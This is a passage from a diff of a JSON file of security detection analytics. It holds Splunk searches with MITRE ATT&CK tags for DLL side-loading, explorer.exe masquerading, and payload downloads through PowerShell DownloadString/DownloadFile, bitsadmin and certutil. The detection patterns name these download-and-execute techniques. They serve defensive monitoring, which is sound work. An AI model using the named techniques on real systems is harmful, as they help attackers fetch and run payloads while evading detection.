\"*\\\\BlendMonitorStringBuild.dll\", \"*\\\\HandleFrequencyAll.dll\", \"*\\\\HardSwapColor.dll\", \"*\\\\LengthInMemoryActivate.dll\", \"*\\\\ParametersNamesPopup.dll\", \"*\\\\ModeFolderSignMove.dll\", \"*\\\\ChildPaletteConnected.dll\", \"*\\\\AddressResourcesSpec.dll\") | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded process_name dest EventCode Signed ProcessId Hashes IMPHASH | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_known_graphicalproton_loaded_modules_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Known GraphicalProton backdoor Loaded Modules on $dest$.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Masquerading Explorer As Child Process", - "description": "The following analytic identifies instances where explorer.exe is spawned by unusual parent processes such as cmd.exe, powershell.exe, or regsvr32.exe. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process relationships. This activity is significant because explorer.exe is typically initiated by userinit.exe, and deviations from this norm can indicate code injection or process masquerading attempts by malware like Qakbot. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, evade detection, and maintain persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN(\"cmd.exe\", \"powershell.exe\", \"regsvr32.exe\") AND Processes.process_name = \"explorer.exe\" AND Processes.process IN (\"*\\\\explorer.exe\") by Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process_id Processes.process_guid Processes.process Processes.user Processes.dest Processes.parent_process_id | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `windows_masquerading_explorer_as_child_process_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "explorer.exe hash a suspicious parent process $parent_process_name$ in $dest$", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows SqlWriter SQLDumper DLL Sideload", - "description": "The following analytic detects the abuse of SqlWriter and SQLDumper executables to sideload the vcruntime140.dll library. It leverages Sysmon EventCode 7 logs, focusing on instances where SQLDumper.exe or SQLWriter.exe load vcruntime140.dll, excluding legitimate loads from the System32 directory. This activity is significant as it indicates potential DLL sideloading, a technique used by adversaries to execute malicious code within trusted processes. If confirmed malicious, this could allow attackers to execute arbitrary code, maintain persistence, and evade detection by blending with legitimate processes.", - "search": "`sysmon` EventCode=7 (Image=\"*\\\\SQLDumper.exe\" OR Image=\"*\\\\SQLWriter.exe\") ImageLoaded=\"*\\\\vcruntime140.dll\" NOT ImageLoaded=\"C:\\\\Windows\\\\System32\\\\*\" | stats values(ImageLoaded) count min(_time) as firstTime max(_time) as lastTime by Image,ImageLoaded, user, Computer, EventCode | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_sqlwriter_sqldumper_dll_sideload_filter`", - "tags": { - "analytic_story": [ - "APT29 Diplomatic Deceptions with WINELOADER" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Image", - "type": "File Name", - "role": [ - "Attacker" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of $Image$ loading $ImageLoaded$ was detected on $dest$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Unsigned DLL Side-Loading", - "description": "The following analytic detects the creation of potentially malicious unsigned DLLs in the c:\\windows\\system32 or c:\\windows\\syswow64 folders. It leverages Sysmon EventCode 7 logs to identify unsigned DLLs with unavailable signatures loaded in these critical directories. This activity is significant as it may indicate a DLL hijacking attempt, a technique used by attackers to gain unauthorized access and execute malicious code. If confirmed malicious, this could lead to privilege escalation, allowing the attacker to gain elevated privileges and further compromise the target system.", - "search": "`sysmon` EventCode=7 Signed=false OriginalFileName = \"-\" SignatureStatus=\"unavailable\" ImageLoaded IN (\"*:\\\\windows\\\\system32\\\\*\", \"*:\\\\windows\\\\syswow64\\\\*\") | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded Signed SignatureStatus OriginalFileName process_name dest EventCode ProcessId Hashes IMPHASH | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_unsigned_dll_side_loading_filter`", - "tags": { - "analytic_story": [ - "NjRAT", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An unsigned dll module was loaded on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Unsigned DLL Side-Loading In Same Process Path", - "description": "This detection identifies unsigned DLLs loaded through DLL side-loading with same file path with the process loaded the DLL, a technique observed in DarkGate malware. This detection monitors DLL loading, verifies signatures, and flags unsigned DLLs. Suspicious file paths and known executable associations are checked. Detecting such suspicious DLLs is crucial in preventing privilege escalation attacks and other potential security breaches. Regular security assessments, thorough monitoring, and implementing security best practices are essential in safeguarding systems from such threats.", - "search": "`sysmon` EventCode=7 Signed=false SignatureStatus != Valid NOT (Image IN (\"*:\\\\windows\\\\system32\\\\*\", \"*:\\\\windows\\\\syswow64\\\\*\", \"c:\\\\Program Files*\")) NOT (ImageLoaded IN (\"*:\\\\windows\\\\system32\\\\*\", \"*:\\\\windows\\\\syswow64\\\\*\", \"c:\\\\Program Files*\")) | rex field=Image \"(?.+\\\\\\)\" | rex field=ImageLoaded \"(?.+\\\\\\)\" | where ImageFolderPath = ImageLoadedFolderPath | stats count min(_time) as firstTime max(_time) as lastTime by Image ProcessGuid ImageLoaded user Computer EventCode ImageFolderPath ImageLoadedFolderPath Company Description Product Signed SignatureStatus | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_unsigned_dll_side_loading_in_same_process_path_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware", - "PlugX" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An unsigned dll module was loaded on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Unsigned MS DLL Side-Loading", - "description": "The following analytic identifies potential DLL side-loading instances involving unsigned DLLs mimicking Microsoft signatures. It detects this activity by analyzing Sysmon logs for Event Code 7, where both the `Image` and `ImageLoaded` paths do not match system directories like `system32`, `syswow64`, and `programfiles`. This behavior is significant as adversaries often exploit DLL side-loading to execute malicious code via legitimate processes. If confirmed malicious, this activity could allow attackers to execute arbitrary code, potentially leading to privilege escalation, persistence, and unauthorized access to sensitive information.", - "search": "`sysmon` EventCode=7 Company=\"Microsoft Corporation\" Signed=false SignatureStatus != Valid NOT (Image IN(\"C:\\\\Windows\\\\System32\\\\*\", \"C:\\\\Windows\\\\SysWow64\\\\*\", \"C:\\\\Program Files*\")) NOT (ImageLoaded IN(\"C:\\\\Windows\\\\System32\\\\*\", \"C:\\\\Windows\\\\SysWow64\\\\*\", \"C:\\\\Program Files*\")) | rex field=Image \"(?.+\\\\\\)\" | rex field=ImageLoaded \"(?.+\\\\\\)\" | where ImageFolderPath = ImageLoadedFolderPath | stats count min(_time) as firstTime max(_time) as lastTime by Image ProcessGuid ImageLoaded user Computer EventCode ImageFolderPath ImageLoadedFolderPath Company Description Product Signed SignatureStatus | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_unsigned_ms_dll_side_loading_filter`", - "tags": { - "analytic_story": [ - "APT29 Diplomatic Deceptions with WINELOADER" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Image", - "type": "File Name", - "role": [ - "Attacker" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of $Image$ loading Unsigned $ImageLoaded$ was detected on $dest$.", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -673163,4110 +455054,7 @@ "Event ID": null, "Event Name": "Network protocol analysis" } - ], - { - "name": "Any Powershell DownloadFile", - "description": "The following analytic detects the use of PowerShell's `DownloadFile` method to download files. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. This activity is significant as it is commonly used in malicious frameworks to download and execute additional payloads. If confirmed malicious, this could lead to unauthorized code execution, data exfiltration, or further compromise of the system. Analysts should investigate the source and destination of the download and review AMSI or PowerShell transaction logs for additional context.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` Processes.process=*DownloadFile* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.parent_process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `any_powershell_downloadfile_filter`", - "tags": { - "analytic_story": [ - "DarkCrystal RAT", - "Data Destruction", - "Hermetic Wiper", - "Ingress Tool Transfer", - "Log4Shell CVE-2021-44228", - "Malicious PowerShell", - "Phemedrone Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$. This behavior identifies the use of DownloadFile within PowerShell.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Any Powershell DownloadString", - "description": "The following analytic detects the use of PowerShell's `DownloadString` method to download files. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because `DownloadString` is commonly used in malicious PowerShell scripts to fetch and execute remote code. If confirmed malicious, this behavior could allow an attacker to download and run arbitrary code, potentially leading to unauthorized access, data exfiltration, or further compromise of the affected system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` Processes.process=*.DownloadString* by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `any_powershell_downloadstring_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "HAFNIUM Group", - "Hermetic Wiper", - "IcedID", - "Ingress Tool Transfer", - "Malicious PowerShell", - "Phemedrone Stealer", - "SysAid On-Prem Software CVE-2023-47246 Vulnerability", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$. This behavior identifies the use of DownloadString within PowerShell.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "BITSAdmin Download File", - "description": "The following analytic detects the use of `bitsadmin.exe` with the `transfer` parameter to download a remote object. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line telemetry. This activity is significant because `bitsadmin.exe` can be exploited to download and execute malicious files without immediate detection. If confirmed malicious, an attacker could use this technique to download and execute payloads, potentially leading to code execution, privilege escalation, or persistent access within the environment. Review parallel and child processes, especially `svchost.exe`, for associated artifacts.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_bitsadmin` Processes.process IN (\"*transfer*\", \"*addfile*\") by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `bitsadmin_download_file_filter`", - "tags": { - "analytic_story": [ - "BITS Jobs", - "DarkSide Ransomware", - "Flax Typhoon", - "Ingress Tool Transfer", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to download a file.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1197", - "mitre_attack_technique": "BITS Jobs", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "APT39", - "APT41", - "Leviathan", - "Patchwork", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "CertUtil Download With URLCache and Split Arguments", - "description": "The following analytic detects the use of certutil.exe to download files using the `-urlcache` and `-split` arguments. It leverages Endpoint Detection and Response (EDR) data, focusing on command-line executions that include these specific arguments. This activity is significant because certutil.exe is typically used for certificate services, and its use to download files from remote locations is uncommon and potentially malicious. If confirmed, this behavior could indicate an attempt to download and execute malicious payloads, leading to potential system compromise and unauthorized data access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_certutil` (Processes.process=*urlcache* Processes.process=*split*) OR Processes.process=*urlcache* by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.original_file_name Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `certutil_download_with_urlcache_and_split_arguments_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-277A", - "DarkSide Ransomware", - "Flax Typhoon", - "Forest Blizzard", - "Ingress Tool Transfer", - "Living Off The Land", - "ProxyNotShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to download a file.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - 